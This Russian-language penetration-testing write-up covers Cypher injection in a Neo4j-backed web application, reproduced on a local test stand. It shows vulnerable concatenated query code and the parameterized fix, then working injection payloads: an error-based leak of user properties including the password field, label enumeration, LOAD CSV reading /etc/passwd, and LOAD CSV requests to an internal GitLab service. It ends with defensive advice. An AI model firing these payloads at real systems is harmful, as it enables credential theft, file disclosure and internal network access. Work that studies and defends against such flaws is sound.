Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.
На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.
Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.
Суть проблемы:
Уязвимый код может выглядеть так:
query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:
query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"
with driver.session() as session:
result = session.run(query, user_input=user_input)В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.
На практике:
На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:
GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001Значение login после декодирования:
" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) // Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.
Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[…].
Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:
" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //
" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //
" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:
label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.
Результат:
Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.
Для защиты от такой атаки рекомендуем:
- использовать параметризованные запросы,
- не возвращать клиенту информацию о содержании ошибки,
- выдать приложению минимальные права,
- ограничить LOAD CSV и исходящий трафик.
